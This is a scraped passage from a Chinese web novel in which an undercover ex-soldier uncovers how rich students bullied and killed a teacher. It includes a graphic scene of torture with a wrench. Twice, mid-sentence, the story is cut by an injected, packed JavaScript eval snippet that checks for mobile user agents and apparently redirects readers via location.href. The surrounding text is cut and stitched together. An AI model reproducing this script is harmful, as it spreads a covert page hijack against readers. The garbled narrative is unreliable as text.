顾逢秋脸色微变,下意识看向周围的人,表情各异,却不约而同有种责怪的意思。 尤其是祝安宁,只见她撇过脸,仿佛看见了什么脏东西,一幅嫌弃模样。 “……”许久他揉着酸痛的下颌起身,与祝飞雁对视:“首先我不认识那个疯女人。其次,就算你救了我,但你踹了两脚打了我一拳,早晚有一天我会让你还回来。” 祝飞雁冷笑一声,直接把脸凑过去,言简意赅:“来。” 众目睽睽下,顾逢秋盯着这张陡然靠近的面孔,侧脸线条流畅锋利,额间薄汗密布,气质如此张扬,就像性格一样捉摸不定。 他脸色变了又变,到底什么都没有做,只冷声道:“今天的事我会负责任,尽快让我家人找出始作俑者,将她绳之以法。” “负责?”祝飞雁缓缓直起身,注视着顾逢秋故作镇定的面孔,内心冷笑连连。 不愧是顶尖教育教养出来的继承人,即便一路失态,还是官话一套一套,讲出来都不嫌丢人! 实际上没人知道祝飞雁此刻有多窝火,她能从仅有的线索中中推测出许紫衫为秦麦发声而付出的惨痛代价,一朝家破人亡,以至于选择玉石俱焚的方式复仇。 结果到了顾逢秋嘴里只剩下疯女人三个字,可满心怨恨的人怎么可能认错仇人呢?即使与顾逢秋本人毫无干系,却绝对也与顾家息息相关。 既得利益者,没资格评判他人。 但她不能说,也不能展现出任何一丝于心不忍,或者表露出对许紫衫的欣赏,甚至还要强忍着怒火继续扮演他善良英勇的同学。 “顾逢秋。”祝飞雁强行按耐住火气,一字一顿地说:“一旦今天这把火烧起来,你真的负得起这个责任吗?” 仓库里亮着昏黄的灯,她个子高,整张脸几乎隐没在暗色里,晦暗不明。 顾逢秋需要眯眼才能看清她的表情,只见她压迫感极强的视线冰冷地垂下来,意有所指地说:“我进恩德就听说了你家很有钱。这么多人命估计用钱抹不平,说不定到时候你顾家就学电影里,随便推一个人出来顶罪,然后你继续做你的太子爷,高枕无忧。反正只要有钱,总归有无数人前仆后继帮你善后。” 这话讲得不明不白,虽然外人听来显然是气头上的嘲讽,但到顾逢秋耳朵里就完全不一样了。 他心头莫名一跳,眼前骤然闪过一张苍白的倔强面孔,与祝飞雁冷硬的面孔重叠。 …… 摇摇晃晃的游船上,海浪掀起咸腥味,被折磨得不像人样的女人像烂泥一样躺在血泊里,呼吸微浅。 顾逢秋靠在甲板栏杆上,懒洋洋点根烟:“赶紧拉去岛上就行了,怀慈今天生日,我急着回去。” 旁边的明流轻轻笑起来:“急什么,老师硬气得很,再玩会。” 啪嗒——舱门打开,方之 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顾逢秋脸色一白,不知是不是抓走莫子健的女人提起了瞿柔,所以昨晚做了一夜噩梦,以至于此刻听见相似的话居然也不受控制地回想起了那一天。 正当他在思考该如何反驳祝飞雁时,只见她忽然俯下身来,变脸飞快,先是伸手戳了戳他脸颊,随即认真地问:“不是吧不是吧,我就开个玩笑,怎么脸白成这样,不会真以为我在怪你吧?说实话天有不测风云,人生意外本来就很多,而且你也是受害者,没真怪你。” 紧接着,她看向旁边的怀慈,挠挠头道:“学姐,难道我话说太重了?还是他一直这么傻?明明刚才还伶牙俐齿的。” “……”怀慈沉默两秒,随即认真点头:“也许吧,他脑回路的确和正常人不一样。” 旁边的祝安宁:“…………” 首先她要表扬老妈堪比奥斯卡影后的绝杀演技,其次她要褒奖老妈神乎其技的变脸能力,天杀的,刚才那一瞬祝飞雁脸色冷得就跟暴风雪来袭一样,差点以为她要当场挑明然后干脆摁死顾逢秋呢! 紧张的气氛被瞬间瓦解,春风拂过一般,仓库里的所有人心顿时落地。 包括顾逢秋。 这时,祝飞雁直起身,伸出那只被咬得鲜血淋漓的手拍了拍他的肩膀:“行了,辛辛苦苦把你救下来,可别吓成呆子了。” 顾逢秋顿时皱起眉,这货嘴巴一直这么贱吗?他瞥向肩上的手,上面的咬痕触目惊心,但还没来得及说话,外面突然响起一声剧烈的爆炸声。 随即急促的杂乱脚步声响起,应该是警察和火警来了,有人在喊:“队长!不是炸弹!是个装有弹射玩具的小丑!!里面还有一张打印出来的A4纸!” 伴随混乱的声音,一道粗重的男声传进仓库:“安保工作做成这样,你们是怎么回事?小顾总呢?要是他蹭破一点皮,我让你们直接倒闭!!” 所有人都听见了这无比嚣张的话。 祝飞雁早就平复好心情,看向顾逢秋,挑眉戏谑:“哟,还真是太子爷啊。” ——这不是应该的吗? 顾逢秋潜意识这样想,与此同时,孟书礼冷静又极具蛊惑力的声音,穿过回忆缓慢地递到了他的耳边: “弱肉强食是自然界的规律,她们本就该死。就算今天的事曝光,我们也永远不会出事,因为只要给钱,就有无数蠢蛋自愿顶罪。这是我们与生俱来的优越资本。” 孟书礼说过,他们就是天生站在金字塔顶端的人,理应得到一切优待。 就像那天茫茫无际的海域上,他们在无数双眼睛的热烈拥簇下获得了杀人特权,迈出继承之路的第一步,而所有证据都有人迅速打扫干净,然后—— 沉到无尽的深海里,再无从追究。 16.Chapter 16 十分钟后。 警笛响彻云霄,展厅外拉起警戒线,身穿警服的青年咆哮着喝止围观群众拍摄;刑侦大队的人很快赶到,取证、查监控和寻找遗留线索一条龙,忙得不可开交,不多时一个警察抱着装在自封袋里的小丑玩具出来,经过经理和顾家保镖时,停下来对保镖说了什么。 只见经理擦着虚汗,几十岁的人了面对一个西装革履的保镖还点头哈腰,不停点头道歉。 令人不安的气氛笼罩了整座街道,众人交头接耳,议论纷纷:“听说有炸弹?” “是有人要泼汽油。” “滨海最近是怎么了?昨晚女狂徒绑架学生,今天直接上升到当众行凶了?” “所以说啊这年头压根不敢跟别人起冲突,之前外卖超时一小时我都没敢给差评……” 救护车上,祝飞雁不动声色收回巡视的目光。 他们没有真的抛炸弹,里面装的只是小丑,似乎仅仅是为了救许紫衫。或者说,顺便对警察进行挑衅。 “手别缩回去呀!”一道咬牙切齿的声音响起。 祝飞雁的手被扯了一下,低头一看,就见护士右手持棉签,左手握着她被咬得皮开肉绽的手,正抬眼看着她:“同学,手伤成这样自己上点心行不?乱看什么呢?” 祝飞雁:“……” 前有几十岁的经理弓背弯腰,后有几十岁的自己挨批,真是绝了。 她面无表情伸长手,护士快速处理完毕,见她一声不吭,顿时笑说:“小伙子忍耐力不错。”然后又细心叮嘱:“记得去打破伤风,回去不要沾水,勤消毒,注意感染。” “需要现在就去打吗?”怀慈站在旁边,只觉得那咬痕触目惊心,压根不敢细看。 顾逢秋双手抱臂,靠在车门上冷笑:“当然得打,要不然可能会得狂犬病。” 护士无视了这种毫无常识的言辞,认真地对祝飞雁说:“别听你同学乱说,十二小时内去就行,最好再去门诊拿点消炎药,防止感染。” 说完,护士拎起医药箱往车里钻。 “……”顾逢秋不可思议地反指自己,“那我呢?我不需要处理伤口?” 护士瞥他一眼,道:“你没有明显外伤,如果觉得不舒服,最好去医院里做个全身CT,包括大脑。” 随即砰一声!医药箱被重放到了柜子上,高冷的护士小姐背过身,全身上下写满“白痴勿近”四个字。 这不是顾逢秋第一次吃瘪,但绝对是最莫名其妙的,他不爽地冷笑:“现在的医护人员素质有待提高。” 眼看顾某人脸色臭得不行,祝飞雁简直都要笑出声了,顿时用关爱智障的眼神望向他:“顾大少爷,如果我好好上着班被人大呼小叫一通,只会比她更没素质。” 顾逢秋:“……” 护士不待见顾逢秋的原因很简单,救护车刚到的时候,顾家那位保镖几乎是把她拎下来的,扬言今天他家小顾总要是出什么事,在场所有人都得负责任,那派头极大的态度,差点让人怀疑顾逢秋是不是矜贵的皇帝。 今天换做任何一个人遇到这种事,估计心里都得痛骂这帮人是臭傻X,本来上班就烦,还要伺候少爷,没把针头戳进对方嘴巴里都算善良了。 “别理他。”怀慈完全无视顾逢秋,忧心忡忡的目光落在祝飞雁的手上,“要不我还是陪你去打针吧?要不是因为我,你也不会受伤。” 雨上午就停了,下午艳阳高照,金光落下来,映得怀慈那张五官清冷的面孔有些温婉,尤其是秀眉微蹙时,多了股脆弱又坚强的神韵。 祝飞雁忍不住感慨,多好的姑娘啊,偏偏被顾逢秋这种人缠上了。这要是自己女儿,分分钟把想拱她家天鹅的癞□□斩成两半一了百了。 她立刻撸下袖子,跳下车,当怀慈面握拳拉伸:“没多大事,晚点我自己去就行了。” 这点咬伤对祝飞雁来说简直就是蚊子咬,以往执行任务时受过的伤没有一百也有八十,早就习惯了。印象最深的是刚入队那一年,一次捣毁贩卖器官黑市的行动里碰上一个心狠手辣的小头目,当时那家伙伪装成即将要被摘器官的货物,在进行营救时突然反手给她小腹来了一刀,至今为止她肚子上还有一条足十公分长的伤疤。 手术刀极其锋利,那会儿差点当场给队友表演什么叫白花花的肠子流出来。 不过祝飞雁也让对方明白了什么叫以牙还牙,真正意义上的肠穿肚烂,当然她因此还被关了禁闭,理由是‘太睚眦必报’、‘下手过于狠辣’。 祝飞雁生怕怀慈不信,特地甩动手臂表示完全自己OK,就差没抡出火星子了。 “……”怀慈憋着笑,“没事就好,别甩了。” 这一幕落在顾逢秋眼里十分刺眼,他试图插话:“喂,你们……” 但被怀慈毫不留情打断了。 随即怀慈面向祝飞雁,欲言又止:“不好意思,今天闹得很不愉快。” “这不关你事,谁也没想到会发生这种事。” 祝飞雁朝顾逢秋看去一眼:“不过的确,要是顾太子爷没来,说不定没这事。” 顾逢秋无所谓地冷哼一声:“放心吧,早晚会把那女人找出来给你们一个交代。” 祝飞雁都懒得搭理他,实际上她觉得自己才是那个该说抱歉的人,非常抱歉因为任务而接近一个一无所知的女生,将她扯入这趟浑水。 ……希望有机会道歉吧。 至少尘埃落定后,必须也应该说声对不起。 不过现在许紫衫和莫子健显然才是最重要的,定位器放许紫衫身上了,一时半会应该不会发现,得先去找一趟莫子健再去找她看是什么情况。 今晚将会是一个不眠夜。 祝飞雁这样想着,视线在周围扫了一圈,眉头顿时一皱:“薛沐呢?” 怀慈忍着笑,转身往不远处一指:“一直在那里,说是犯错了不敢过来。” 祝飞雁顺着方向看去,只见祝安宁缩在一颗树后,贼兮兮地探头,手指不断抠着树皮。 沉默半晌,她深吸一口气,强行压下情绪:“我下午还有事就先走了。” “我家司机已经在等我了,”怀慈说,“需要我送你们回去吗?” 一直被忽视的顾逢秋终于忍不住了,上前硬是插到两人中间,冷嘲道:“说是前女友还藕断丝连,我看巴不得自己送吧。毕竟她叫你爸!” 怀慈直接退开一步,隔开距离。 祝飞雁算是看出怀慈有多讨厌这货了,完全就是呼吸同一片空气都嫌的感觉。 她千辛万苦忍住嘲讽的心思,才伸出手郑重地拍向顾逢秋的肩膀:“劝你一句,嘴别太贱,不讨女孩喜欢的。” 谁知手才刚伸出,顾逢秋的身体几乎是反射性往后一倒,下一秒,只见他像是反应过来自己有点小题大做,一脸菜色地站直,冷冰冰地盯着祝飞雁:“说话就说话,动手动脚干什么?” 没人知道顾逢秋心里正在高声痛骂,天杀的他还以为祝宴又要打他!这家伙手劲实在太大了,刚才那一拳下来估计天灵盖都松了一圈,现在嘴巴还在痛呢! 这辈子没挨过揍的顾某人忍不住问:“你练过?散打还是跆拳道?” 祝飞雁一眼就看出他这是怕了,顿时乐不可支地笑:“综合格斗吧。” 实际上只要是攻击性强的她都会,比起防身,她更喜欢一招就得吃牢饭的杀招。 她直视着一脸不爽的顾逢秋,微笑道:“我们也算不打不相识,回头你要是想学,只要请我吃顿饭,叫我一声哥,我就教你。” ——当然是以被揍的方式,绝对让他永生难忘。 说完,祝飞雁冲怀慈点头,然后拎起放在车上的校服外套往肩上一甩,背过身懒洋洋抬高手一挥,“太子爷,咱家先告退了。” 顾逢秋:“……” 到底是谁嘴贱啊朋友!! 捉奸不成蚀把米,短短一小时顾逢秋惨遭多次人生得滑铁卢,打不过又说不过,现在肚子里当真是一包火。 他一眼不眨盯着祝飞雁的背影,牙都要咬碎了。 祝飞雁人高腿长,背影修长洒脱,走入人群都是十分显眼的存在。 只见她走到前方的树旁停下,朝树后的祝安宁伸出右手,四指一弯,干脆利落。阳光穿过枝桠落在她那张线条锋利的侧脸,映出了严肃冷峻的表情,紧接着就见祝安宁简直就像只如临大敌的小鹿,先是缩头一笑,然后乖乖走到祝飞雁身边,低着头与她并肩前行。 绿树金光下,出了警戒线,一高一矮的两道身影瞬间被攒动的人头掩盖。 “……”顾逢秋收回目光,却见怀慈也在目送两人,嘴角笑意难掩,他顿时尖酸刻薄道:“两人还挺配,你说是吧?” 闻言,怀慈上下打量他一眼,笑意顿收,面无表情嘁了一声后毫不犹豫直接转身。 顾逢秋:“…………” 他与祝宴不共戴天!!请吃饭叫哥?做梦去吧! . 与此同时,街角处。 “嗷嗷嗷!你轻点!!”祝安宁脚尖踮起,当众发出了杀猪般的惨叫,“别揪我耳朵!!” 祝飞雁冷笑一声:“你还知道痛?我还以为你没长耳朵,有些话左耳朵进右耳朵出呢。” 祝安宁眼泪汪汪地抬头:“人家真的不知道他会来找我,我又不敢忤逆他,只能跟他来哇!而且高一的作业太难了,我一个初三生抄都抄不明白,当时紧赶慢赶抄得头都晕了,这不能怪我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519830|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝飞雁似乎听到了什么笑话:“你之前说你有薛沐的记忆,怎么这些知识没记起来?抄作业抄到头晕,你听听这狗屎理由像话吗?” 祝安宁理直气壮:“因为原主也是个学渣嘛……” “……”祝飞雁真是没气生了。 软硬不吃,死不悔改。谁生这种女儿就是倒八辈子大霉! 咕噜噜—— 一阵肚响打破了僵局。 祝安宁小心翼翼拍拍祝飞雁手臂,嘿嘿一笑:“如果我说我还抄作业抄到没吃午饭,你会揍我不?” 一腔怒火几乎是瞬间被浇灭,祝飞雁松开手,注视着满脸讨好的祝安宁一言不发。 少顷她吸口气,直接从兜里掏出两张一百往她手里一塞:“自己去吃,别来烦我。” 祝安宁攥紧那两百,心想这幅画面以前倒是时常发生,四十岁的祝女士不爽的时候,通常都会甩她钱叫她滚远点,每当那时她眉头都会深深拧起来,仿佛用熨斗都抹不平。 她不禁有些难过,因为再也见不到那个祝飞雁了。 祝飞雁见她不说话于是转头就走,祝安宁连忙叫住她:“等等!” 她不耐烦地回头:“还有事?” 祝安宁眼神古怪,欲言又止。 祝宴和怀慈约会的消息最先是从论坛里传出来的,桑芙看见后立刻拿给她看,当即义正言辞地说两人必须复合,否则好货色就要流走了。 当时她真心觉得十分离谱,虽然因为那一声爹,双方都只能用“彼此是前男女友”的借口来掩饰,但她毕竟是祝飞雁的女儿,突然摇身一变变成前女友什么简直倒反天罡,她每时每刻都在痛骂当时自己是不是脑子进水。 沉默半晌,祝安宁鼓起勇气,认真地问:“你真的和怀慈在约会吗?你是……” 她顿了顿,眼神更加古怪:“你是拉拉吗?虽然我不介意你的性取向啦!但我在想我该不会是你试管生出来的吧?” 祝飞雁:“……” 不知过去多久,她闭眼平复情绪,直接抽走她手里的两百,恶声恶气地说:“你是我拉出来的。” “啊?”祝安宁茫然地眨眼,“用屁股吗?生孩子不是……” 还没说完,只见祝飞雁无能狂怒地挠了挠头,紧接着飞速伸手拦下一辆出租,然后大刀阔斧拉开车门,粗暴地将她往车后座一塞,语气不耐:“回家吧孩子,今天别让我再见到你。” 砰!车门重重摔上。 但祝安宁的注意力全在‘今天’两字上,立刻拉下窗户探出头,脸上浮现一抹惊喜的笑:“意思是明天就可以了吗?你同意我跟在你身边了吗?” 握在车门上的五指猛地收紧,祝飞雁忍无可忍,大手摁住她脸塞回去,随即弯腰对司机说:“把她送走,现在立刻马上!最好送到一个鸟不拉屎的地方丢进去!” “……”司机权当是小情侣吵架,笑呵呵地回:“行啊,得加钱。” 祝飞雁:“…………” 她想杀人。 就现在。 . 月上枝头,华灯初上。 璀璨的灯光在天边燃起,滨海市笼罩在迤逦的黄昏之中。 但郊外山屋的地下室里依旧没有一丝光亮,双手双脚被反绑在凳子上的莫子健发出微弱的哀嚎,他躺在冰冷的地上,手脚都没扎带磨出了血。 密闭的空间里,只有潮湿的霉味。 膝盖上的扎伤已经结痂了,腿部逐渐麻木,他不知道自己会被关多久,也不知道抓他来的女人什么时候会来,甚至不知道时间的流逝。 只要有一点声响,他都会惊恐地叫出声。 仿佛暗处有恶鬼在窥伺自己。 时间一分一秒过去,他坚持不住想要闭上眼睡一会,突然一声巨响在头顶响起。 突如其来的光亮让他不适地侧过头,适应后重新睁开,只见戴着口罩的女人出现在楼梯上,眼神冰冷,她沉默不语,快步走下来,长发随着动作一甩一甩,路过桌子时还顺手抄起了一个扳手。 她来了!! 莫子健猛地回神,下一秒,他感觉自己连人带凳子被活生生提了起来,嘭一声砸到墙上。根本没有任何缓冲的时间,坚硬的扳手撬开他的嘴唇,钻进来挟住了一颗门牙,然后毫不留情用力一拔! “啊啊啊!!”他血丝密布的双眼瞬间瞪大,惨叫声响彻整个地下室。 祝飞雁甩掉那颗牙,将他重新提起来,扳手再次戳进他嘴里,没有一个字废话:“我今天很不高兴,所以我改主意了,把你知道的说出来,晚一秒我就拔你一颗牙。” 莫子健满嘴是血,剧烈喘息着,一双眼珠也在疯狂颤动,内心本能地生出了一种无可抵挡的恐惧。 17.Chapter 17 “你记住,我们家是靠着顾家才起来的。” “把你知道的事最好都忘了,从今天开始就没有瞿柔这个人。” “一旦说出去我们都会玩完,懂吗?” …… 父母警告的声音仿佛还在耳边,汹涌的血顺着莫子健的唇瓣溢出,嘀嗒、嘀嗒……一颗颗如同瀑布一样落到攥紧脖子的那只手上。 他艰难地抬眼,注视着只露出一双眼的祝飞雁:“我不能说。” 其实莫子健本身就知道得不多,说白了他只是顾逢秋四人的小跟班,根本没资格触及到他们团体的私下活动。起初他只是帮忙带话给瞿柔,后来迫于形势参与进去,直到警方来查失踪人口的时候,闹得沸沸扬扬,才知道瞿柔死了。 也就是那一天,他爸告诉他瞿柔的母亲是在职军人,这件事会有人处理好,必须保持缄默,否则要么被弄死,要么被推出去顶罪。 “我真的不能说!”莫子健回想起那段时间的惶恐,顿时疯狂摇头:“我会死的!我会被弄死的!” 祝飞雁无动于衷,钳着他另一颗门牙的扳手猛地施力,语气嘲讽:“从我把你抓起来的那一刻开始,对他们来说,你就已经是死人了。” “……”莫子健脸色唰地一白。 祝飞雁观察着他的表情,内心毫无波澜。 在确认计划的最初阶段,祝飞雁实际上就有了一个大概的猜想:无名岛的十三具女尸里只有瞿柔一人是被F4所杀。 虽然无从追究事情的起因,但从结果能推论出一个逻辑清晰的犯罪过程,F4先是因某种原因涉嫌故意杀人,其后四家人不允许这个污点毁掉自家孩子,一开始便动用各方关系将事实掩盖,伪装出瞿柔是抑郁失踪的假象,所有线索被截断,以至于失踪一年都毫无消息。 这件事做得很完美,逃不开宏大且早被打通的上下势力网,那绝对不是四个小孩能做到的事。 所以即使那场暴风雨将尘封的尸体冲了出来,明明很快能真相大白,他们也能穷尽一切手段跨国越洋抹除所有可能关联到F4的线索。 只需要一场伪装成酒驾的车祸,真相就能被碾碎在鲜血里,再无人得知。 “就算你今天硬着头皮不说,就算我把你放出去,你觉得以他们的行事作风……” 祝飞雁一点一点使劲往外拔,残忍一笑:“你会死得比现在更轻松吗?” 用扳手活生生把牙拔掉已经够令人毛骨悚然,然而这一次更是凌迟般的缓慢,莫子健清楚地感觉到牙根被连根拔起的酸楚,仿佛大脑都要被扯出来了。 他发出惨绝人寰的惨叫,奈何四肢被绑在凳子上连挣扎都做不到,只能剧烈晃动身躯,但祝飞雁的手简直像一把坚固的铁钳,始终牢牢攥住他不让他往下掉! 噗呲——! 又一颗门牙脱落,迸溅的鲜血喷射到双方脸上,祝飞雁眼睛都没眨,继续将扳手挪到他另一颗牙上:“第三秒。” 她的声音冷酷肃杀,宛如一个没有感情的刑讯官,为了口供可以不择手段。 “我、我说!”莫子健冷汗涔涔,疼得几乎要晕过去了。到底是矜贵出身的少爷,曾经刮破皮都有家庭医生大惊小怪包上纱布,怎么可能受得住这种酷刑,顿时连连点头:“我现在就说!” 祝飞雁冷峻的视线滑下去,对上他的眼,没说话,但从表情来看显然没打算松手,除非听到什么有用的信息。 “……”莫子健心跳如雷,见冰冷的扳手岿然不动,这一瞬间头皮都在发麻。 许久,他颓丧地垂下头,盯着地上斑驳的血迹。顶灯在晃动,昏暗密闭的地下室里充斥血腥味,伴随着祝飞雁沉稳的呼吸声,那些新鲜的血迹一点点被虚化的视线抽离、变换,恶劣的笑声传到耳边,被刻意遗忘的记忆纷至沓来。 “其实都是因为一个女生。”他哆嗦着说,“瞿柔是为了帮她。” 那个女生是这场悲剧的起源。 而有些人的恶劣则导致了事情走向失控的局面。 …… 2023年4月3号。 “啊啊啊——”女生的尖叫声突然响彻整条走廊,打破了晨间的寂静。 各个教室的人纷纷探头出来看,只见顾逢秋面无表情攥着一个女生的头发从A班拖出来,那几乎是屈辱性极强的拖行姿势,力气微弱的女生拼命拍打他的手,就连双脚乱蹬也无济于事。 顾逢秋脸色铁青,全然不顾这是神圣的学校,全身上下写满了别惹我三个字,一幅没敢上前就要弄死谁的样子。 学生们表情惊恐,气氛简直一片哗然: “怎么了怎么了?” “不知道啊……他突然动手的……” “这是顾逢秋第一次生这么大气吧?” 走廊两侧的人们窃窃私语,路过的老师背过身火速走进一间教室,只有一个女生于心不忍上前,但还没说话,后脑勺就被人狠狠拍了一巴掌。 那女生回头,只见是一脸邪笑的莫子健,他捡起掉在地上的铭牌,随即单手插兜面向女生,语气警告:“不该管的事别管,懂吗?” “你们在嚣张什么啊,有你们这么欺负人的吗?”女生怒火上来,下一秒却被朋友拉了回去。 “嘁。”莫子健顿时嗤笑一声,指间摩挲了一下那个铭牌,上面写的是高一A班齐飞雪。他将铭牌往兜里一塞,快步跟上顾逢秋。 一路到学生会楼,四面八方的惊呼声越来越躁动,所有人都在好奇,身姿挺拔的怀慈静立在人群中,清冷卓绝的面孔上没有一丝表情。 不嫌热闹的人上来:“顾哥,怎么生这么大气?” 顾逢秋一言不发,莫子健就立刻道:“这女的昨晚在派对上大言不惭,说什么我们顾哥就是个烂黄瓜,讲话特别难听。” 围观的学生里有人参加了昨晚的派对,登时反应过来是怎么回事,纷纷开始议论,大致就是因为齐飞雪告白失败,昨晚喝多了,在大家的起哄下当面蛐蛐顾逢秋是个渣男,说了背地里女友不停,肯定长满菜花压根配不上怀慈这些话。 “因爱生恨?”有人忍不住戏谑,“居然敢骂顾逢秋,脑子没坏吧。谁不知道他脾气,开学以来多少人被欺负过了。” 明流是学生会会长,眼前这栋豪华的四层大楼是明家出资重建,专门辟了顶层供四人休息娱乐,某种意义来说,这就是四人的专属地盘。 这里发生过很多事,很多相同的事。 但主角是女生,还是第一次。 只见顾逢秋怒气冲冲把齐飞雪甩进大楼,莫子健带着几个身强体壮的男生直接关门,彻底隔绝了所有人的视线,可尖叫声始终盘旋在天际,渐渐地,声音消失了。 四楼,嘭一声!顾逢秋一脚踹开门,拎起嗓子都哑了的齐飞雪往地上猛地一丢。 齐飞雪脸着地,但根本没时间呼痛,像是受惊的鹿,飞速抱着腿缩起来。 与此同时,几个屋子打通并被改造成一座豪华娱乐休息室的房间里,明流站在L型的大理石吧台后调酒,头也不抬地说:“还真把人带来了?” 顾逢秋快步走过去,抢过还没调好的酒杯仰头喝尽,紧接着猛地摔到桌面。 “我说过要弄死她。”他冷冰冰地望向蜷缩在地上的齐飞雪,冲莫子健扬了扬下巴:“把她衣服给我剥了,拍照发论坛里。” 莫子健:“……这不好吧。” 拍了教训下就行了,他心想。 这时,靠窗的落地窗前,孟书礼转过身来,他显然是看到了刚才楼下的盛况,先是打量几眼惊恐的齐飞雪,然后才在巨大的黑色沙发上坐下,语调毫无起伏:“然后呢,你想看她羞愤自杀吗?动静那么大,谁都会知道是你干的,我可没空给你探监。” “又不是搞不定!这种事还少吗?”顾逢秋哪管得到她死不死,顿时轻蔑一笑,略带暴躁地说:“我这辈子就没被人那么骂过,哈、菜花男?” 说到这他愈发生气,大步流星上前,弯腰揪住齐飞雪的衣领往上一提:“老子怎么不记得我上过你,你又知道了?” 齐飞雪惶恐摇头:“我错了、我错了!你放过我吧!” “你做梦!不教训你你就不知道什么叫祸从口出。”顾逢秋嫌弃地甩下她,转头朝莫子健厉喝: “还不动?要我亲自来吗?” 莫子健和其他人面面相觑,都是成年人了当然懂这种事一个不好就会闹出人命,一时间没人敢动。 气氛骤然紧张起来,千钧一发之际,吧台处响起指骨轻扣桌面的声音。 几人转头看向,只见模样俊美斯文的明流趴在吧台上,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莫子健至今还记得,那天瞿柔把顾逢秋四人包括自己叫到咨询室,五人陆续进去,问了一些似是而非的问题,似乎只是想确定是不是他们在霸凌齐飞雪。 最后轮到明流时,很快门打开,明流却停在门口没走,他似笑非笑地转身,那一双温和却阴狠如蛇的眼望进里面,十分坦诚地说:“老师,你是在帮齐飞雪吧?接下来准备怎么做?起诉?报警?还是把我们抓进监狱?但我觉得你离职的概率会更大。当然也不是不能放过她,既然你这么好心,不如你来替她?” “之后,就轮到瞿柔了。”莫子健能感觉到头顶的呼吸变重了,他根本不敢抬头去看祝飞雁的眼睛,低垂着头,赶紧撇清关系:“我不知道他们怎么直播的,我只负责带她去见他们。” “……” 愤怒,祝飞雁从来没有过如此强烈的愤怒,光凭听和想象,都能猜到瞿柔到底经历了什么。 原来一切的起因只是因为“好玩”。 人的恶无穷无尽,尤其是当那些人拥有至高无上的地位,身处在畸形变态的阶级固化环境里,早就养成了盛气凌人的性格,于是所作所为似乎就成了理所应当,一切恶行都会被归结到被挑衅的荒谬借口上去。 这应该吗?一个平凡普通的老师应该因为帮助学生而惨遭欺辱吗? 这不应该,这不公平。 涉及到这桩事的人,才都应该承受百倍的代价,才能明白什么叫恶有恶报! 祝飞雁第一次庆幸自己因为任务退役了,也就是说她可以以个人身份行动,只要不搞出人命。 半晌,她闭眼平复情绪,再次睁开,眼底一片平静。她很好地掩饰了所有情绪,然后猛地松手,冷漠地看着滑下去的莫子健,心平气和地问:“后来齐飞雪呢?” 莫子健说:“第二天就退学了,不知道她去哪里了。” 回答他的是沉默。 这种沉默过于压迫,总让人觉得下一秒就要遭祸。 莫子健真心怕了,绞尽脑汁回想,又像是想起什么一样,张着鲜血淋漓的嘴仓皇补充道:“是明流故意写匿名信告诉瞿柔有人在欺负齐飞雪,他早就盯上瞿老师了!” “顾逢秋就是一个冲动暴躁的白痴,方之熙喜欢乱搞不怎么参与,孟书礼更喜欢当一个观众,但明流就不一样了,他就是一个天生恶种,他初中就杀过人了!!” 他期待地看着祝飞雁,眼中闪烁着讨好的光芒:“我都告诉你了,我就是个小喽啰,可以放我走了吗?” 祝飞雁一言不发,眼珠往下一扫,目光冷若寒潭。 18.Chapter 18 “只是个小喽啰?”祝飞雁口罩下的唇角一勾,那是种毫无疑问的嘲讽弧度,“我觉得你对自己贱人的定位非常不明确。” 莫子健脸上的笑意一窒。 祝飞雁低头看向他,眼底闪烁着厌恶的光,语气比之前还要不耐:“就算你是畏惧权威才参与进这场霸凌,那也是悲剧造成的推动者。你们已经成年,怎么可能不懂伤害他人究竟会产生怎么样的结果?但你们偏偏还是这样做了。” 背景优越的天生恶种们寻求快乐,懦弱讨好者帮忙递刀,直至将一个人活生生凌虐致死。 没有敬畏,没有道德底线,甚至完全没有身而为人的仁善与温良。 坦诚地说,祝飞雁一直认为人心里都存在一头野兽,包括她自己心底也蛰伏着一头名为愤怒的怪物,因为征服与掠夺是动物骨子里的本能,但只有学会控制、压抑怒火才能称之为真正的人,否则就将与真正的禽兽无异。 她冷漠的视线从莫子健脸上滑过,腰背直挺,一针见血地说:“这件事显然已经超出了寻常的霸凌,如果你真的不想参与,不指望你能去报警或求助,但一定有无数次机会远离。所以你不是不懂或者害怕他们,而是心里的恶已经被挑起来,你在无意识享受它,也离不开它。” 霸凌齐飞雪绝对不是第一次,在那一次次的欺辱中,莫子健早已习惯了受害者的哭喊与其他人的漠视,又因为家世背景,不会得到任何惩罚的庆幸逐渐演变成了天经地义,日复一日的情绪累积,然后彻底转化为毫无理由的恶意。 他不是天生就恶,却纵容了恶的产生,并甘愿成为恶的附属品。 就像生活不如意的人对弱小的动物发泄,一朝破产背负巨债的人开车冲入人群,这些人都有一个共同的特点,他们能通过这种伤害别人的方式得到一种强烈的快感、掌控欲,仿佛成为了一个生杀予夺尽在手的帝王。 就算即将要面对大众的谴责,异样的眼光,但那一瞬间产生的痛快已经让他们觉得自己的存在得到了升华,好似人生从来没有那么平凡糟糕过。 用一个不太恰当的比喻来形容,那就是一旦一个人杀过人后,很快就会去杀第二个人。 “我猜要是他们让你加入小团体,你巴不得立马上去踹两脚表示衷心。”祝飞雁像看垃圾一样盯着莫子健的眼睛,“贱人就是贱人,少开脱。” 这是莫子健第一次听到祝飞雁说这么多话,字字精准扎心,直接撕破了他试图逃避罪责的遮羞布;她的眼神也锐利如刀,仿佛能洞穿人心。 “……”他脸色变了又变,少顷心虚挪开眼:“你懂什么?我家靠着顾家才发……” 话说到一半戛然而止,因为祝飞雁手持扳手,突然抵在了他脑门上。 莫子健惊恐抬眼,视线聚焦在沾血的扳手,非常怀疑下一秒自己的脑袋就会被砸个稀巴烂。 “你不提我都差点气忘了。”祝飞雁微微用力一敲,言简意赅:“秦麦的事说说,还有许紫衫。” 